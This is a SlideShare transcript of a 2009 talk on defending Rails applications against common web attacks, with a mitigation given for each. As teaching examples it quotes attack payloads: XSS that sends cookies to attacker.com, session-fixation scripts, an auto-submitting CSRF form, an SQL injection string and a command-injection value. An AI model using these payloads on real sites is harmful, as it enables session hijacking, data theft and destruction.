• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Defending Against Attacks With Rails
 

Defending Against Attacks With Rails

on

  • 3,402 views

Let's face it, the web can be a dangerous place. So how do you protect your users and yourself? Tony Amoyal answers that and more as he shows how Rails can help protect against miscreants.

Let's face it, the web can be a dangerous place. So how do you protect your users and yourself? Tony Amoyal answers that and more as he shows how Rails can help protect against miscreants.

Statistics

Views

Total Views
3,402
Views on SlideShare
3,163
Embed Views
239

Actions

Likes
0
Downloads
27
Comments
0

4 Embeds 239

http://www.tonyamoyal.com 224
http://www.linkedin.com 9
http://www.slideshare.net 4
https://www.linkedin.com 2

Accessibility

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Defending Against Attacks With Rails Defending Against Attacks With Rails Presentation Transcript

    • Defending Against Attacks With Rails
      • Tony Amoyal
      • Web Application Consultant
      • www.tonyamoyal.com
      • July 14, 2009
    • General Principles
      • Kerckhoff's Principle – Always assume the method of security is known
      • Always validate on the server side, even if you validate on the client side
      • Whitelist, don't Blacklist
    • Authentication
      • Step 1:
      • One-way hash all passwords
      • MD5 -> 128-bit hash values ( 2^128 tries)
      • SHA -> 160-bit hash values (2^160 tries)
      • Secure?
    • Why isn’t hashing enough?
      • Same passwords hash to same value
      • -> Attacker can easily determine if multiple users
      • have the same password
      • Very weak against Rainbow attack
    • Use Salt
      • Ensures same password will hash to different values
      • Rainbow tables are useless, attacker would essentially have to compute a rainbow table for each password with the new salt
    • People Use Crappy Passwords
      • 20 common passwords from MySpace phishing attack:
      • password1, abc123, myspace1, password, blink182,
      • qwerty1, ****you, 123abc, baseball1, football1,
      • 123456, soccer, monkey1, liverpool1, princess1,
      • jordan23, slipknot1, superman1, iloveyou1, monkey
      • ( http://www.schneier.com/blog/archives/2006/12/realworld_passw.html )
    • Restful Authentication
      • Great way to implement authentication in Rails
      • Easy setup with hashes and salts
      • Extra protection for crappy passwords with SITE_KEY and stretching
    • What Else Can We Do?
      • It is difficult to protect accounts with bad passwords
      • Always provide a password strength meter
      • Maybe only accept passwords at a certain strength level
    • Mass Assignment
      • Rails let's us do stuff like…
      • Not secure if we have attributes like is_admin because an attacker can POST with…
    • Solve By Whitelisting
      • For previous example:
      • Can also use attr_protected to Blacklist
    • Accessing Records
    • Logging
      • Tell Rails not to log sensitive data
    • Security Through Obscurity?
      • My default server response header:
      • “ Apache/2.2.11 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8g DAV/2 PHP/5.3.0 Phusion_Passenger/2.2.2”
      • Add this to your Apache conf:
      • ServerTokens Prod
      • -> New server response header:
      • “ Apache”
    • More Obscurity?
      • Turn your server signature off
      • Add this to the bottom of your Apache conf:
      • ServerSignature Off
    • Stack Traces
      • Rails handles this but good to know about
      • config/environments/development.rb
      • config/environments/production.rb
      • Want prod error message in dev? In app controller:
    • Time For The Scary Stuff...
    • Session Hijacking
      • How does it work?
      • Session ID's are stored on client machines
      • 1) Attacker gets SID from authenticated user
      • 2) Attacker presents SID to web app as his own
    • How Does Attacker Get SID?
      • 1) Guess the Session ID
      • 2) Network sniffing
      • 3) Finding cookies on shared computer
      • 4) Cross-site scripting (more on this later)
      • 5) Session fixation (more on this later)
    • Guessing the Session ID
      • Rails makes this very difficult by making Session ID's very random
      • SID's are hashes of string containing:
      • current time
      • random number between 0 and 1
      • PID of ruby interpreter (another random number)
      • constant string
    • Sniffing the Session ID
      • Possible on an unencrypted wireless LAN
      • ( internet cafe )
      • Solution: provide SSL connection
    • Shared computer problem
      • Consider public computers
      • Solution:
      • Provide a logout button to clear the session
      • Good example – Bank Of America:
      • Provides a low session expiration time with pop-up warning
    • Cookie Security
      • Rails uses CookieStore by default as of v2.2
      • Can users tamper with the cookies?
      • Only if they have the secret key:
      • config/environment.rb
    • Cookie Precautions
      • Don't store in the session:
      • Sensitive Data
      • Cookie data is not encrypted , it is base64 encoded ! -> clients can read cookies
      • Transient Data (account balance)
      • Vulnerable to replay attack...see next slide
      • Use a long secret key: 128 characters
    • What is a Replay Attack?
      • When a client presents an old cookie that is valid and convinces the server that it is current
      • Use a nonce? …probably overkill
      • (if not, use memcached?)
      • Best solution:
      • Don't keep transient data that is sensitive (account balance) in the session
    • Session Fixation
      • 1) Attacker gets a valid session
      • 2) Attacker forces his victim to use valid session
      • Now attacker has access to your session
    • Good Example from Wikipedia
      • Given:
      • Alice has bank account at http://un.safe.ly
      • Mallory wants Alice's money
      • Alice has reasonable amount of trust in Mallory
    • The Attack
      • 1) Mallory knows the http://un.safe.ly accepts SID's from query strings
      • 2) Mallory sends Alice an email
      • “ Check out this new cool bank feature http://un.safe.ly/?SID=GOTCHA”
      • 3) Alice visits the link and logs in
      • 4) Mallory visits the link and has access to Alice's account
    • Other Attacks
      • You can also use XSS to set a victim's session ID
      • <script>
      • document.cookie=&quot;_session_id=PUT_SID_HERE&quot;;
      • </script>
      • OR
      • <meta http-equiv=Set-Cookie content=&quot;_session_id=PUT_SID_HERE&quot;>
    • Fixation Mitigation
      • In Rails, one line of code:
      • reset_session
      • In last example, Alice's session would have been reset upon login
      • The tradeoff? Forms will expire
      • (read more: vendor/plugins/restful_authentication/notes/Tradeoffs.txt )
    • Restful Authentication Example
      • app/controllers/sessions_controller.rb
      • Read about tradeoffs: plugins/restful_authentication/notes/Tradeoffs.txt
    • Cross-Site Request Forgery
      • What is it?
      • Let's start with a great example from Rails Guides
    • CSRF Example
      • 1) Attacker posts on a message board
      • <img src=&quot;http://www.webapp.com/project/1/destroy&quot;>
      • 2) Bob recently used webapp.com, session still alive
      • 3) Bob visits message board
      • 4) Browser loads image, sending cookie from Bob's machine
      • 5) webapp verifies cookie credentials and destroys project with ID=1
      • 6) No image displayed on forum
    • CSRF Mitigation
      • 1) Require POST methods where applicable
      • config/routes.rb
      • app/controllers/projects_controller.rb
      • Still not secure, POST requests can be sent automatically on events
    • Automatic POST Request
      • <a href=&quot;http://www.harmless.com/&quot; onclick=&quot; var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;&quot;>To the harmless survey</a>
      • OR
      • <img src=&quot;http://www.harmless.com/img&quot; width=&quot;400&quot; height=&quot;400&quot; onmouseover=&quot;...&quot; />
    • Another Security Measure
      • 2) Add a security token in forms
      • Rails automatically includes security tokens in forms
      • app/controllers/application_controller.rb
      • Use secret if not using the CookieStore
    • Cross-Site Scripting ( XSS )
      • Most Common
      • Most Devastating
      • 510,000 Attacks
      • in April, 2008
    • The XSS Attack
      • 1) Attacker visits website and injects some code through web form or other means
      • 2) Web application saves injected code and displays it later to a victim
    • The Possibilities
      • Steal cookies
      • Hijack sessions
      • Redirect victim to malicious website
      • Display advertisements to benefit attacker
      • Change elements on website to get credentials
      • Install malware through browser security holes
    • XSS Example
      • Getting cookie information
      • <script>document.write('<img src=&quot;http://www.attacker.com/' + document.cookie + '&quot;>');</script>
      • OR
      • <img src=javascript:document.write('<img src=&quot;http://www.attacker.com/' + document.cookie + '&quot;>')>
      • OR
      • <table background=&quot;...&quot;>
      • Now the attacker checks his server logs
    • Get User Credentials
      • Use an iframe to present a form to be submitted to your server
      • <iframe name=&quot;LoginForm&quot; src=&quot;http://58.xx.xxx.xxx&quot;></iframe>
    • XSS Mitigation
      • 1) Whitelist input filtering
      • Good reference:
      • http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/sanitize
      • 2) Escape all output of your application
      • In your views...
      • <%=h user_input %> # done by default in Rails 3
    • SQL Injection
      • An attack that manipulates SQL queries performed by a web application on its database.
    • SQL Injection Example
      • Given: My application has Reminder objects which belong to Band objects
      • Reminder.find(:all,
      • :conditions => &quot;band_name = '#{band_name}'&quot;)
      • What if an attacker enters for their band_name:
      • ' OR 1=1 OR '
      • Resulting SQL:
      • SELECT * FROM `reminders` WHERE (band_name = '' OR 1=1 OR '')
    • SQL Injection Mitigation
      • In Rails use
      • Reminder.find(:all, :conditions => [&quot;band_name = ?&quot;, band_name])
      • Resulting SQL:
      • SELECT * FROM `reminders` WHERE (band_name = '' OR 1=1 OR'')
      • ', ”, NULL, and line breaks are escaped
      • -> Query returns nothing
    • But Obviously...
      • Do this:
      • @reminders = @band.reminders
      • The previous tip works great for complicated custom queries
    • Other Injections
      • 1) Ajax
      • Returning a string in Ajax call? Escape in controller
      • 2) RJS
      • escape_javascript() within JS and h() within HTML
      • 3) CSS
      • Some browsers allow HTML/JS in CSS
      • <div id=&quot;abc&quot; expr=&quot;alert('!!!')&quot; style=&quot;background:url('javascript:eval(document.all.abc.expr)')&quot;>
      • ...works just like HTML/JS injection
    • More Injections
      • 4) Textile
      • Use whitelist filtering!
      • RedCloth.new(&quot;<a href='javascript:alert(1)'>hello</a>&quot;, [:filter_html]).to_html
      • # => &quot;<p><a href=&quot;javascript:alert(1)&quot;>hello</a></p>&quot;
      • 5) Command Line
      • system(&quot;/bin/echo&quot;,&quot;hello; rm *&quot;)
      • # prints &quot;hello; rm *&quot; and does not delete files
    • Even More Injections
      • 6) Header
      • escape referer, user-agent, cookie, etc. if you display these headers on a page
      • be aware of how you build headers because injections can rewrite headers and inject arbitrary headers (up to Rails 2.1.2)
      • more in Rails Guides, section 8.9
      • 7) Encoding
      • Browser understands encoding, but your app does not therefore sanitize method is useless
    • Regular Expressions
      • Use A and , not ^ and $
      • The problem?
      • file.txt%0A<script>alert('hello')</script>
      • passes the test because %0A is a newline
      • Result: &quot;file.txt <script>alert('hello')</script>&quot;
    • Whitelist, Don't Blacklist
      • before_filter :only => [...] instead of
      • before_filter :except => [...]
      • Use attr_accessible instead of attr_protected
      • Only allow certain tags when stripping instead of allowing all tags except
      • Don't try to correct user input
      • This will make the attack work: &quot;<sc<script>ript>&quot;.gsub(&quot;<script>&quot;, &quot;&quot;)
    • Some Links
      • http://guides.rubyonrails.org/security.html
      • http://en.wikipedia.org/wiki/Session_fixation
      • http://www.rorsecurity.info/journal/2007/4/15/session-fixation-in-rails.html
      • http://github.com/technoweenie/restful-authentication/
      • http://www.matasano.com/log/958/enough-with-the-rainbow-tables-what-you-need-to-know-about-secure-password-schemes/
      • My Blog: www.tonyamoyal.com